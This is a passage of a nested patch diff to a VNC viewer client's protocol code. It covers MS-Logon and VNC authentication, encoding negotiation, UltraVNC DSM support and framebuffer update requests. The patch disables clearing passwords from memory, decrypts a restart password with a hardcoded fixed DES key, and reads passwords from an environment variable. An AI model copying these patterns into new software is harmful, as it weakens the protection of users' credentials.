-+ if (db) {
-+ hexprint("user", user, sizeof(user));
-+ hexprint("pass", passwd, sizeof(passwd));
-+ }
-+
-+ if (!WriteExact(rfbsock, user, sizeof(user))) {
-+ return False;
-+ }
-+ if (db) fprintf(stderr, "wrote user.\n");
-+
-+ if (!WriteExact(rfbsock, passwd, sizeof(passwd))) {
-+ return False;
-+ }
-+ if (db) fprintf(stderr, "wrote passwd.\n");
-+
-+ if (!ReadFromRFBServer((char *) &authResult, 4)) {
-+ return False;
-+ }
-+ authResult = Swap32IfLE(authResult);
-+
-+ if (db) fprintf(stderr, "authResult: %d\n", (int) authResult);
-+
-+ switch (authResult) {
-+ case rfbVncAuthOK:
-+ fprintf(stderr, "UVNC MS-Logon authentication succeeded.\n\n");
-+ break;
-+ case rfbVncAuthFailed:
-+ fprintf(stderr, "UVNC MS-Logon authentication failed.\n");
-+ if (viewer_minor >= 8) {
-+ printFailureReason();
-+ } else {
-+ sprintf(msgbuf, "UVNC MS-Logon authentication failed.\n");
-+ wmsg(msgbuf, 1);
-+ }
-+ fprintf(stderr, "\n");
-+ return False;
-+ case rfbVncAuthTooMany:
-+ sprintf(msgbuf, "UVNC MS-Logon authentication failed - too many tries.\n\n");
-+ wmsg(msgbuf, 1);
-+ return False;
-+ default:
-+ sprintf(msgbuf, "Unknown UVNC MS-Logon authentication result: %d\n\n",
-+ (int)authResult);
-+ wmsg(msgbuf, 1);
-+ return False;
-+ }
-+
-+ return True;
-+}
-
- /*
- * Standard VNC authentication.
-@@ -519,80 +1560,119 @@
- static Bool
- AuthenticateVNC(void)
- {
-- CARD32 authScheme, authResult;
-- CARD8 challenge[CHALLENGESIZE];
-- char *passwd;
-- char buffer[64];
-- char* cstatus;
-- int len;
-+ CARD32 authScheme, authResult;
-+ CARD8 challenge[CHALLENGESIZE];
-+ char *passwd = NULL;
-+ char buffer[64];
-+ char* cstatus;
-+ int len;
-+ int restart = 0;
-
-- fprintf(stderr, "Performing standard VNC authentication\n");
-+ if (authScheme) {}
-
-- if (!ReadFromRFBServer((char *)challenge, CHALLENGESIZE))
-- return False;
-+ fprintf(stderr, "\nPerforming standard VNC authentication\n");
-
-- if (appData.passwordFile) {
-- passwd = vncDecryptPasswdFromFile(appData.passwordFile);
-- if (!passwd) {
-- fprintf(stderr, "Cannot read valid password from file \"%s\"\n",
-- appData.passwordFile);
-- return False;
-- }
-- } else if (appData.autoPass) {
-- passwd = buffer;
-- cstatus = fgets(buffer, sizeof buffer, stdin);
-- if (cstatus == NULL)
-- buffer[0] = '\0';
-- else
-- {
-- len = strlen(buffer);
-- if (len > 0 && buffer[len - 1] == '\n')
-- buffer[len - 1] = '\0';
-- }
-- } else if (appData.passwordDialog) {
-- passwd = DoPasswordDialog();
-- } else {
-- passwd = getpass("Password: ");
-- }
-+ if (!ReadFromRFBServer((char *)challenge, CHALLENGESIZE)) {
-+ return False;
-+ }
-+
-+ if (restart_session_pw != NULL) {
-+ passwd = restart_session_pw;
-+ restart_session_pw = NULL;
-+ restart = 1;
-+ } else if (appData.passwordFile) {
-+ passwd = vncDecryptPasswdFromFile(appData.passwordFile);
-+ if (!passwd) {
-+ sprintf(msgbuf, "Cannot read valid password from file \"%s\"\n", appData.passwordFile);
-+ wmsg(msgbuf, 1);
-+ return False;
-+ }
-+ } else if (appData.autoPass) {
-+ passwd = buffer;
-+ raiseme(1);
-+ cstatus = fgets(buffer, sizeof buffer, stdin);
-+ if (cstatus == NULL) {
-+ buffer[0] = '\0';
-+ } else {
-+ len = strlen(buffer);
-+ if (len > 0 && buffer[len - 1] == '\n') {
-+ buffer[len - 1] = '\0';
-+ }
-+ }
-+ } else if (getenv("VNCVIEWER_PASSWORD")) {
-+ passwd = strdup(getenv("VNCVIEWER_PASSWORD"));
-+ } else if (appData.passwordDialog || !use_tty()) {
-+ passwd = DoPasswordDialog();
-+ } else {
-+ raiseme(1);
-+ passwd = getpass("VNC Password: ");
-+ }
-
-- if (!passwd || strlen(passwd) == 0) {
-- fprintf(stderr, "Reading password failed\n");
-- return False;
-- }
-- if (strlen(passwd) > 8) {
-- passwd[8] = '\0';
-- }
-+ if (getenv("VNCVIEWER_PASSWORD")) {
-+ putenv("VNCVIEWER_PASSWORD=none");
-+ }
-
-- vncEncryptBytes(challenge, passwd);
-+ if (restart) {
-+#define EN0 0
-+#define DE1 1
-+ unsigned char s_fixedkey[8] = {23,82,107,6,35,78,88,7};
-+ deskey(s_fixedkey, DE1);
-+ des(passwd, passwd);
-+ } else {
-+ if (!passwd || strlen(passwd) == 0) {
-+ sprintf(msgbuf, "Reading password failed\n\n");
-+ wmsg(msgbuf, 1);
-+ return False;
-+ }
-+ if (strlen(passwd) > 8) {
-+ passwd[8] = '\0';
-+ }
-+ }
-
-- /* Lose the password from memory */
-- memset(passwd, '\0', strlen(passwd));
-+ vncEncryptBytes(challenge, passwd);
-+
-
-- if (!WriteExact(rfbsock, (char *)challenge, CHALLENGESIZE))
-- return False;
-
-- if (!ReadFromRFBServer((char *)&authResult, 4))
-- return False;
-+#if 0
-+ /* Lose the password from memory */
-+ memset(passwd, '\0', strlen(passwd));
-+#endif
-
-- authResult = Swap32IfLE(authResult);
-+ if (!WriteExact(rfbsock, (char *)challenge, CHALLENGESIZE)) {
-+ return False;
-+ }
-
-- switch (authResult) {
-- case rfbVncAuthOK:
-- fprintf(stderr, "VNC authentication succeeded\n");
-- break;
-- case rfbVncAuthFailed:
-- fprintf(stderr, "VNC authentication failed\n");
-- return False;
-- case rfbVncAuthTooMany:
-- fprintf(stderr, "VNC authentication failed - too many tries\n");
-- return False;
-- default:
-- fprintf(stderr, "Unknown VNC authentication result: %d\n",
-- (int)authResult);
-- return False;
-- }
-+ if (!ReadFromRFBServer((char *)&authResult, 4)) {
-+ return False;
-+ }
-
-- return True;
-+ authResult = Swap32IfLE(authResult);
-+
-+ switch (authResult) {
-+ case rfbVncAuthOK:
-+ fprintf(stderr, "VNC authentication succeeded\n\n");
-+ break;
-+ case rfbVncAuthFailed:
-+ fprintf(stderr, "VNC authentication failed.\n");
-+ if (viewer_minor >= 8) {
-+ printFailureReason();
-+ } else {
-+ sprintf(msgbuf, "VNC authentication failed.\n");
-+ wmsg(msgbuf, 1);
-+ }
-+ fprintf(stderr, "\n");
-+ return False;
-+ case rfbVncAuthTooMany:
-+ sprintf(msgbuf, "VNC authentication failed - too many tries\n\n");
-+ wmsg(msgbuf, 1);
-+ return False;
-+ default:
-+ sprintf(msgbuf, "Unknown VNC authentication result: %d\n\n", (int)authResult);
-+ wmsg(msgbuf, 1);
-+ return False;
-+ }
-+
-+ return True;
- }
-
- /*
-@@ -602,68 +1682,77 @@
- static Bool
- AuthenticateUnixLogin(void)
- {
-- CARD32 loginLen, passwdLen, authResult;
-- char *login;
-- char *passwd;
-- struct passwd *ps;
--
-- fprintf(stderr, "Performing Unix login-style authentication\n");
--
-- if (appData.userLogin) {
-- login = appData.userLogin;
-- } else {
-- ps = getpwuid(getuid());
-- login = ps->pw_name;
-- }
-+ CARD32 loginLen, passwdLen, authResult;
-+ char *login;
-+ char *passwd;
-+ struct passwd *ps;
-+
-+ fprintf(stderr, "\nPerforming Unix login-style authentication\n");
-+
-+ if (appData.userLogin) {
-+ login = appData.userLogin;
-+ } else {
-+ ps = getpwuid(getuid());
-+ login = ps->pw_name;
-+ }
-
-- fprintf(stderr, "Using user name \"%s\"\n", login);
-+ fprintf(stderr, "Using user name \"%s\"\n", login);
-
-- if (appData.passwordDialog) {
-- passwd = DoPasswordDialog();
-- } else {
-- passwd = getpass("Password: ");
-- }
-- if (!passwd || strlen(passwd) == 0) {
-- fprintf(stderr, "Reading password failed\n");
-- return False;
-- }
-+ if (appData.passwordDialog || !use_tty()) {
-+ passwd = DoPasswordDialog();
-+ } else {
-+ raiseme(1);
-+ passwd = getpass("VNC Password: ");
-+ }
-+ if (!passwd || strlen(passwd) == 0) {
-+ fprintf(stderr, "Reading password failed\n");
-+ return False;
-+ }
-
-- loginLen = Swap32IfLE((CARD32)strlen(login));
-- passwdLen = Swap32IfLE((CARD32)strlen(passwd));
-+ loginLen = Swap32IfLE((CARD32)strlen(login));
-+ passwdLen = Swap32IfLE((CARD32)strlen(passwd));
-
-- if (!WriteExact(rfbsock, (char *)&loginLen, sizeof(loginLen)) ||
-- !WriteExact(rfbsock, (char *)&passwdLen, sizeof(passwdLen)))
-- return False;
-+ if (!WriteExact(rfbsock, (char *)&loginLen, sizeof(loginLen)) ||
-+ !WriteExact(rfbsock, (char *)&passwdLen, sizeof(passwdLen))) {
-+ return False;
-+ }
-
-- if (!WriteExact(rfbsock, login, strlen(login)) ||
-- !WriteExact(rfbsock, passwd, strlen(passwd)))
-- return False;
-+ if (!WriteExact(rfbsock, login, strlen(login)) ||
-+ !WriteExact(rfbsock, passwd, strlen(passwd))) {
-+ return False;
-+ }
-
-- /* Lose the password from memory */
-- memset(passwd, '\0', strlen(passwd));
-+#if 0
-+ /* Lose the password from memory */
-+ memset(passwd, '\0', strlen(passwd));
-+#endif
-
-- if (!ReadFromRFBServer((char *)&authResult, sizeof(authResult)))
-- return False;
-+ if (!ReadFromRFBServer((char *)&authResult, sizeof(authResult))) {
-+ return False;
-+ }
-
-- authResult = Swap32IfLE(authResult);
-+ authResult = Swap32IfLE(authResult);
-
-- switch (authResult) {
-- case rfbVncAuthOK:
-- fprintf(stderr, "Authentication succeeded\n");
-- break;
-- case rfbVncAuthFailed:
-- fprintf(stderr, "Authentication failed\n");
-- return False;
-- case rfbVncAuthTooMany:
-- fprintf(stderr, "Authentication failed - too many tries\n");
-- return False;
-- default:
-- fprintf(stderr, "Unknown authentication result: %d\n",
-- (int)authResult);
-- return False;
-- }
-+ switch (authResult) {
-+ case rfbVncAuthOK:
-+ fprintf(stderr, "Authentication succeeded\n\n");
-+ break;
-+ case rfbVncAuthFailed:
-+ sprintf(msgbuf, "Authentication failed\n\n");
-+ wmsg(msgbuf, 1);
-+ return False;
-+ case rfbVncAuthTooMany:
-+ sprintf(msgbuf, "Authentication failed - too many tries\n\n");
-+ wmsg(msgbuf, 1);
-+ return False;
-+ default:
-+ sprintf(msgbuf, "Unknown authentication result: %d\n\n",
-+ (int)authResult);
-+ wmsg(msgbuf, 1);
-+ return False;
-+ }
-
-- return True;
-+ return True;
- }
-
-
-@@ -675,19 +1764,20 @@
- static Bool
- ReadInteractionCaps(void)
- {
-- rfbInteractionCapsMsg intr_caps;
-+ rfbInteractionCapsMsg intr_caps;
-
-- /* Read the counts of list items following */
-- if (!ReadFromRFBServer((char *)&intr_caps, sz_rfbInteractionCapsMsg))
-- return False;
-- intr_caps.nServerMessageTypes = Swap16IfLE(intr_caps.nServerMessageTypes);
-- intr_caps.nClientMessageTypes = Swap16IfLE(intr_caps.nClientMessageTypes);
-- intr_caps.nEncodingTypes = Swap16IfLE(intr_caps.nEncodingTypes);
--
-- /* Read the lists of server- and client-initiated messages */
-- return (ReadCapabilityList(serverMsgCaps, intr_caps.nServerMessageTypes) &&
-- ReadCapabilityList(clientMsgCaps, intr_caps.nClientMessageTypes) &&
-- ReadCapabilityList(encodingCaps, intr_caps.nEncodingTypes));
-+ /* Read the counts of list items following */
-+ if (!ReadFromRFBServer((char *)&intr_caps, sz_rfbInteractionCapsMsg)) {
-+ return False;
-+ }
-+ intr_caps.nServerMessageTypes = Swap16IfLE(intr_caps.nServerMessageTypes);
-+ intr_caps.nClientMessageTypes = Swap16IfLE(intr_caps.nClientMessageTypes);
-+ intr_caps.nEncodingTypes = Swap16IfLE(intr_caps.nEncodingTypes);
-+
-+ /* Read the lists of server- and client-initiated messages */
-+ return (ReadCapabilityList(serverMsgCaps, intr_caps.nServerMessageTypes) &&
-+ ReadCapabilityList(clientMsgCaps, intr_caps.nClientMessageTypes) &&
-+ ReadCapabilityList(encodingCaps, intr_caps.nEncodingTypes));
- }
-
-
-@@ -697,22 +1787,70 @@
- * many records to read from the socket.
- */
-
--static Bool
--ReadCapabilityList(CapsContainer *caps, int count)
--{
-- rfbCapabilityInfo msginfo;
-- int i;
-+static Bool
-+ReadCapabilityList(CapsContainer *caps, int count)
-+{
-+ rfbCapabilityInfo msginfo;
-+ int i;
-+
-+ for (i = 0; i < count; i++) {
-+ if (!ReadFromRFBServer((char *)&msginfo, sz_rfbCapabilityInfo)) {
-+ return False;
-+ }
-+ msginfo.code = Swap32IfLE(msginfo.code);
-+ CapsEnable(caps, &msginfo);
-+ }
-+
-+ return True;
-+}
-+
-
-- for (i = 0; i < count; i++) {
-- if (!ReadFromRFBServer((char *)&msginfo, sz_rfbCapabilityInfo))
-- return False;
-- msginfo.code = Swap32IfLE(msginfo.code);
-- CapsEnable(caps, &msginfo);
-- }
-+/* used to have !tunnelSpecified */
-
-- return True;
-+static int guess_compresslevel(void) {
-+ int n;
-+ if (latency > 200.0) {
-+ n = 8;
-+ } else if (latency > 100.0) {
-+ n = 7;
-+ } else if (latency > 60.0) {
-+ n = 6;
-+ } else if (latency > 15.0) {
-+ n = 4;
-+ } else if (latency > 8.0) {
-+ n = 2;
-+ } else if (latency > 0.0) {
-+ n = 1;
-+ } else {
-+ /* no latency measurement */
-+ n = 3;
-+ }
-+ return n;
- }
-
-+static int guess_qualitylevel(void) {
-+ int n;
-+ if (latency > 200.0) {
-+ n = 4;
-+ } else if (latency > 100.0) {
-+ n = 5;
-+ } else if (latency > 60.0) {
-+ n = 6;
-+ } else if (latency > 15.0) {
-+ n = 7;
-+ } else if (latency > 8.0) {
-+ n = 8;
-+ } else if (latency > 0.0) {
-+ n = 9;
-+ } else {
-+ /* no latency measurement */
-+ n = 6;
-+ }
-+#ifdef TURBOVNC
-+ n *= 10;
-+#endif
-+ return n;
-+}
-
- /*
- * SetFormatAndEncodings.
-@@ -729,6 +1867,21 @@
- Bool requestCompressLevel = False;
- Bool requestQualityLevel = False;
- Bool requestLastRectEncoding = False;
-+ Bool requestNewFBSizeEncoding = True;
-+ Bool requestTextChatEncoding = True;
-+ Bool requestSubsampLevel = False;
-+ int dsm = 0;
-+ int tQL, tQLmax = 9;
-+ static int qlmsg = 0, clmsg = 0;
-+#ifdef TURBOVNC
-+ tQLmax = 100;
-+#endif
-+
-+ if (requestTextChatEncoding || requestSubsampLevel || tQL) {}
-+
-+#if 0
-+ fprintf(stderr, "SetFormatAndEncodings: sent_FBU state: %2d\n", sent_FBU);
-+#endif
-
- spf.type = rfbSetPixelFormat;
- spf.format = myFormat;
-@@ -736,15 +1889,32 @@
- spf.format.greenMax = Swap16IfLE(spf.format.greenMax);
- spf.format.blueMax = Swap16IfLE(spf.format.blueMax);
-
-+
-+ currentMsg = rfbSetPixelFormat;
- if (!WriteExact(rfbsock, (char *)&spf, sz_rfbSetPixelFormatMsg))
- return False;
-
- se->type = rfbSetEncodings;
- se->nEncodings = 0;
-
-+ if (appData.ultraDSM) {
-+ dsm = 1;
-+ }
-+
- if (appData.encodingsString) {
- char *encStr = appData.encodingsString;
- int encStrLen;
-+ if (strchr(encStr, ',')) {
-+ char *p;
-+ encStr = strdup(encStr);
-+ p = encStr;
-+ while (*p != '\0') {
-+ if (*p == ',') {
-+ *p = ' ';
-+ }
-+ p++;
-+ }
-+ }
- do {
- char *nextEncStr = strchr(encStr, ' ');
- if (nextEncStr) {
-@@ -754,50 +1924,102 @@
- encStrLen = strlen(encStr);
- }
-
-+if (getenv("DEBUG_SETFORMAT")) {
-+ fprintf(stderr, "encs: ");
-+ write(2, encStr, encStrLen);
-+ fprintf(stderr, "\n");
-+}
-+
- if (strncasecmp(encStr,"raw",encStrLen) == 0) {
- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingRaw);
- } else if (strncasecmp(encStr,"copyrect",encStrLen) == 0) {
- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingCopyRect);
-- } else if (strncasecmp(encStr,"tight",encStrLen) == 0) {
-+ } else if (strncasecmp(encStr,"tight",encStrLen) == 0 && !dsm) {
- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingTight);
- requestLastRectEncoding = True;
-- if (appData.compressLevel >= 0 && appData.compressLevel <= 9)
-- requestCompressLevel = True;
-- if (appData.enableJPEG)
-- requestQualityLevel = True;
-+ if (appData.compressLevel >= 0 && appData.compressLevel <= 9) {
-+ requestCompressLevel = True;
-+ }
-+ if (appData.enableJPEG) {
-+ requestQualityLevel = True;
-+ }
-+#ifdef TURBOVNC
-+ requestSubsampLevel = True;
-+#endif
- } else if (strncasecmp(encStr,"hextile",encStrLen) == 0) {
- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingHextile);
-- } else if (strncasecmp(encStr,"zlib",encStrLen) == 0) {
-+ } else if (strncasecmp(encStr,"zlib",encStrLen) == 0 && !dsm) {
- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingZlib);
-- if (appData.compressLevel >= 0 && appData.compressLevel <= 9)
-- requestCompressLevel = True;
-- } else if (strncasecmp(encStr,"corre",encStrLen) == 0) {
-+ if (appData.compressLevel >= 0 && appData.compressLevel <= 9) {
-+ requestCompressLevel = True;
-+ }
-+ } else if (strncasecmp(encStr,"corre",encStrLen) == 0 && !dsm) {
- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingCoRRE);
- } else if (strncasecmp(encStr,"rre",encStrLen) == 0) {
- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingRRE);
-+ } else if (strncasecmp(encStr,"zrle",encStrLen) == 0) {
-+ encs[se->nEncodings++] = Swap32IfLE(rfbEncodingZRLE);
-+#if DO_ZYWRLE
-+ } else if (strncasecmp(encStr,"zywrle",encStrLen) == 0) {
-+ int qlevel = appData.qualityLevel;
-+ if (qlevel < 0 || qlevel > tQLmax) qlevel = guess_qualitylevel();
-+ encs[se->nEncodings++] = Swap32IfLE(rfbEncodingZYWRLE);
-+ requestQualityLevel = True;
-+ if (qlevel < 3) {
-+ zywrle_level = 3;
-+ } else if (qlevel < 6) {
-+ zywrle_level = 2;
-+ } else {
-+ zywrle_level = 1;
-+ }
-+#endif
- } else {
- fprintf(stderr,"Unknown encoding '%.*s'\n",encStrLen,encStr);
-+ if (dsm && strstr(encStr, "tight") == encStr) fprintf(stderr, "tight encoding does not yet work with ultraDSM, skipping it.\n");
-+ if (dsm && strstr(encStr, "corre") == encStr) fprintf(stderr, "corre encoding does not yet work with ultraDSM, skipping it.\n");
-+ if (dsm && strstr(encStr, "zlib" ) == encStr) fprintf(stderr, "zlib encoding does not yet work with ultraDSM, skipping it.\n");
- }
-
- encStr = nextEncStr;
- } while (encStr && se->nEncodings < MAX_ENCODINGS);
-
- if (se->nEncodings < MAX_ENCODINGS && requestCompressLevel) {
-- encs[se->nEncodings++] = Swap32IfLE(appData.compressLevel +
-- rfbEncodingCompressLevel0);
-+ ;
-+ } else if (se->nEncodings < MAX_ENCODINGS) {
-+ appData.compressLevel = guess_compresslevel();
-+ if (clmsg++ == 0) fprintf(stderr, "guessed: -compresslevel %d\n", appData.compressLevel);
- }
-+ encs[se->nEncodings++] = Swap32IfLE(appData.compressLevel + rfbEncodingCompressLevel0);
-
- if (se->nEncodings < MAX_ENCODINGS && requestQualityLevel) {
-- if (appData.qualityLevel < 0 || appData.qualityLevel > 9)
-- appData.qualityLevel = 5;
-- encs[se->nEncodings++] = Swap32IfLE(appData.qualityLevel +
-- rfbEncodingQualityLevel0);
-+ if (appData.qualityLevel < 0 || appData.qualityLevel > tQLmax) {
-+ appData.qualityLevel = guess_qualitylevel();
-+ if (qlmsg++ == 0) fprintf(stderr, "guessed: -qualitylevel %d\n", appData.qualityLevel);
-+ }
-+ } else if (se->nEncodings < MAX_ENCODINGS) {
-+ appData.qualityLevel = guess_qualitylevel();
-+ if (qlmsg++ == 0) fprintf(stderr, "guessed: -qualitylevel %d\n", appData.qualityLevel);
-+ }
-+#ifdef TURBOVNC
-+ tQL = appData.qualityLevel / 10;
-+ if (tQL < 0) tQL = 1;
-+ if (tQL > 9) tQL = 9;
-+ encs[se->nEncodings++] = Swap32IfLE(tQL + rfbEncodingQualityLevel0);
-+ encs[se->nEncodings++] = Swap32IfLE(appData.qualityLevel + rfbJpegQualityLevel1 - 1);
-+ if (se->nEncodings < MAX_ENCODINGS && requestSubsampLevel) {
-+ if (appData.subsampLevel < 0 || appData.subsampLevel > TVNC_SAMPOPT - 1) {
-+ appData.subsampLevel = TVNC_1X;
-+ }
-+ encs[se->nEncodings++] = Swap32IfLE(appData.subsampLevel + rfbJpegSubsamp1X);
- }
-+#else
-+ encs[se->nEncodings++] = Swap32IfLE(appData.qualityLevel + rfbEncodingQualityLevel0);
-+#endif
-
- if (appData.useRemoteCursor) {
- if (se->nEncodings < MAX_ENCODINGS)
- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingXCursor);
-- if (se->nEncodings < MAX_ENCODINGS)
-+ if (se->nEncodings < MAX_ENCODINGS && !appData.useX11Cursor)
- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingRichCursor);
- if (se->nEncodings < MAX_ENCODINGS)
- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingPointerPos);
-@@ -806,10 +2028,16 @@
- if (se->nEncodings < MAX_ENCODINGS && requestLastRectEncoding) {
- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingLastRect);
- }
-- }
-- else {
-+
-+ if (se->nEncodings < MAX_ENCODINGS && requestNewFBSizeEncoding) {
-+ encs[se->nEncodings++] = Swap32IfLE(rfbEncodingNewFBSize);
-+ }
-+
-+ } else {
-+ /* DIFFERENT CASE */
-+
- if (SameMachine(rfbsock)) {
-- if (!tunnelSpecified) {
-+ if (!tunnelSpecified && appData.useRawLocal) {
- fprintf(stderr,"Same machine: preferring raw encoding\n");
- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingRaw);
- } else {
-@@ -818,44 +2046,84 @@
- }
-
- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingCopyRect);
-- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingTight);
-+ if (!dsm) encs[se->nEncodings++] = Swap32IfLE(rfbEncodingTight);
-+ encs[se->nEncodings++] = Swap32IfLE(rfbEncodingZRLE);
-+ encs[se->nEncodings++] = Swap32IfLE(rfbEncodingZYWRLE);
- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingHextile);
-- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingZlib);
-- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingCoRRE);
-+ if (!dsm) encs[se->nEncodings++] = Swap32IfLE(rfbEncodingZlib);
-+ if (!dsm) encs[se->nEncodings++] = Swap32IfLE(rfbEncodingCoRRE);
- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingRRE);
-
-- if (appData.compressLevel >= 0 && appData.compressLevel <= 9) {
-- encs[se->nEncodings++] = Swap32IfLE(appData.compressLevel +
-- rfbEncodingCompressLevel0);
-- } else if (!tunnelSpecified) {
-- /* If -tunnel option was provided, we assume that server machine is
-- not in the local network so we use default compression level for
-- tight encoding instead of fast compression. Thus we are
-- requesting level 1 compression only if tunneling is not used. */
-- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingCompressLevel1);
-- }
--
-- if (appData.enableJPEG) {
-- if (appData.qualityLevel < 0 || appData.qualityLevel > 9)
-- appData.qualityLevel = 5;
-- encs[se->nEncodings++] = Swap32IfLE(appData.qualityLevel +
-- rfbEncodingQualityLevel0);
-+ if (!dsm && appData.compressLevel >= 0 && appData.compressLevel <= 9) {
-+ encs[se->nEncodings++] = Swap32IfLE(appData.compressLevel + rfbEncodingCompressLevel0);
-+ } else {
-+ /*
-+ * OUT OF DATE: If -tunnel option was provided, we assume that server machine is
-+ * not in the local network so we use default compression level for
-+ * tight encoding instead of fast compression. Thus we are
-+ * requesting level 1 compression only if tunneling is not used.
-+ */
-+ appData.compressLevel = guess_compresslevel();
-+ if (clmsg++ == 0) fprintf(stderr, "guessed: -compresslevel %d\n", appData.compressLevel);
-+ encs[se->nEncodings++] = Swap32IfLE(appData.compressLevel + rfbEncodingCompressLevel0);
-+ }
-+
-+ if (!dsm && appData.enableJPEG) {
-+ if (appData.qualityLevel < 0 || appData.qualityLevel > tQLmax) {
-+ appData.qualityLevel = guess_qualitylevel();
-+ if (qlmsg++ == 0) fprintf(stderr, "guessed: -qualitylevel %d\n", appData.qualityLevel);
-+ }
-+
-+#ifdef TURBOVNC
-+ requestSubsampLevel = True;
-+ tQL = appData.qualityLevel / 10;
-+ if (tQL < 0) tQL = 1;
-+ if (tQL > 9) tQL = 9;
-+ encs[se->nEncodings++] = Swap32IfLE(tQL + rfbEncodingQualityLevel0);
-+ encs[se->nEncodings++] = Swap32IfLE(appData.qualityLevel + rfbJpegQualityLevel1 - 1);
-+ if (se->nEncodings < MAX_ENCODINGS && requestSubsampLevel) {
-+ if (appData.subsampLevel < 0 || appData.subsampLevel > TVNC_SAMPOPT - 1) {
-+ appData.subsampLevel = TVNC_1X;
-+ }
-+ encs[se->nEncodings++] = Swap32IfLE(appData.subsampLevel + rfbJpegSubsamp1X);
-+ }
-+#else
-+ encs[se->nEncodings++] = Swap32IfLE(appData.qualityLevel + rfbEncodingQualityLevel0);
-+#endif
-+
- }
-
- if (appData.useRemoteCursor) {
- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingXCursor);
-- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingRichCursor);
-+ if (!appData.useX11Cursor) {
-+ encs[se->nEncodings++] = Swap32IfLE(rfbEncodingRichCursor);
-+ }
- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingPointerPos);
- }
-
- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingLastRect);
-+ encs[se->nEncodings++] = Swap32IfLE(rfbEncodingNewFBSize);
- }
-
- len = sz_rfbSetEncodingsMsg + se->nEncodings * 4;
-
-- se->nEncodings = Swap16IfLE(se->nEncodings);
-+ if (!appData.ultraDSM) {
-+ se->nEncodings = Swap16IfLE(se->nEncodings);
-
-- if (!WriteExact(rfbsock, buf, len)) return False;
-+ if (!WriteExact(rfbsock, buf, len)) return False;
-+ } else {
-+ /* for UltraVNC encryption DSM we have to send each encoding separately (why?) */
-+ int i, errs = 0, nenc = se->nEncodings;
-+
-+ se->nEncodings = Swap16IfLE(se->nEncodings);
-+
-+ currentMsg = rfbSetEncodings;
-+ if (!WriteExact(rfbsock, buf, sz_rfbSetEncodingsMsg)) errs++;
-+ for (i=0; i < nenc; i++) {
-+ if (!WriteExact(rfbsock, (char *)&encs[i], sizeof(CARD32))) errs++;
-+ }
-+ if (errs) return False;
-+ }
-
- return True;
- }
-@@ -868,31 +2136,86 @@
- Bool
- SendIncrementalFramebufferUpdateRequest()
- {
-- return SendFramebufferUpdateRequest(0, 0, si.framebufferWidth,
-- si.framebufferHeight, True);
-+ return SendFramebufferUpdateRequest(0, 0, si.framebufferWidth,
-+ si.framebufferHeight, True);
- }
-
-+time_t last_filexfer = 0;
-+int delay_filexfer = 3;
-+extern void CheckFileXfer(void);
-+extern int rfbsock_is_ready(void);
-+
-+
-+static int dyn = -1;
-+extern int filexfer_sock;
-+extern int filexfer_listen;
-
- /*
- * SendFramebufferUpdateRequest.
- */
--
- Bool
- SendFramebufferUpdateRequest(int x, int y, int w, int h, Bool incremental)
- {
-- rfbFramebufferUpdateRequestMsg fur;
-+ rfbFramebufferUpdateRequestMsg fur;
-+ static int db = -1;
-
-- fur.type = rfbFramebufferUpdateRequest;
-- fur.incremental = incremental ? 1 : 0;
-- fur.x = Swap16IfLE(x);
-- fur.y = Swap16IfLE(y);
-- fur.w = Swap16IfLE(w);
-- fur.h = Swap16IfLE(h);
-+ if (db < 0) {
-+ if (getenv("SSVNC_DEBUG_RECTS")) {
-+ db = atoi(getenv("SSVNC_DEBUG_RECTS"));
-+ } else {
-+ db = 0;
-+ }
-+ }
-
-- if (!WriteExact(rfbsock, (char *)&fur, sz_rfbFramebufferUpdateRequestMsg))
-- return False;
-+ if (db) fprintf(stderr, "SendFramebufferUpdateRequest(%d, %d, %d, %d, incremental=%d)\n", x, y, w, h, (int) incremental);
-
-- return True;
-+ if (dyn < 0) {
-+ struct stat sb;
-+ if (getenv("USER") && !strcmp(getenv("USER"), "runge")) {
-+ if (stat("/tmp/nodyn", &sb) == 0) {
-+ putenv("NOFTFBUPDATES=1");
-+ unlink("/tmp/nodyn");
-+ }
-+ }
-+ if (getenv("NOFTFBUPDATES")) {
-+ dyn = 0;
-+ } else {
-+ dyn = 1;
-+ }
-+ }
-+
-+ if (appData.fileActive && filexfer_sock >= 0) {
-+ static int first = 1;
-+ if (first) {
-+ fprintf(stderr, "SFU: dynamic fb updates during filexfer: %d\n", dyn);
-+ first = 0;
-+ }
-+if (db > 2 || 0) fprintf(stderr, "A sfur: %d %d %d %d d_last: %d\n", x, y, w, h, (int) (time(NULL) - last_filexfer));
-+ if (!dyn || time(NULL) < last_filexfer + delay_filexfer) {
-+ return True;
-+ }
-+ }
-+if (db > 1) fprintf(stderr, "B sfur: %d %d %d %d\n", x, y, w, h);
-+
-+ fur.type = rfbFramebufferUpdateRequest;
-+ fur.incremental = incremental ? 1 : 0;
-+ fur.x = Swap16IfLE(x);
-+ fur.y = Swap16IfLE(y);
-+ fur.w = Swap16IfLE(w);
-+ fur.h = Swap16IfLE(h);
-+
-+ if (incremental) {
-+ sent_FBU = 1;
-+ } else {
-+ sent_FBU = 2;
-+ }
-+
-+ currentMsg = rfbFramebufferUpdateRequest;
-+ if (!WriteExact(rfbsock, (char *)&fur, sz_rfbFramebufferUpdateRequestMsg)) {
-+ return False;
-+ }
-+
-+ return True;
- }
-
-
-@@ -903,19 +2226,38 @@
- Bool
- SendPointerEvent(int x, int y, int buttonMask)
- {
-- rfbPointerEventMsg pe;
-+ rfbPointerEventMsg pe;
-+
-+ if (appData.fileActive) {
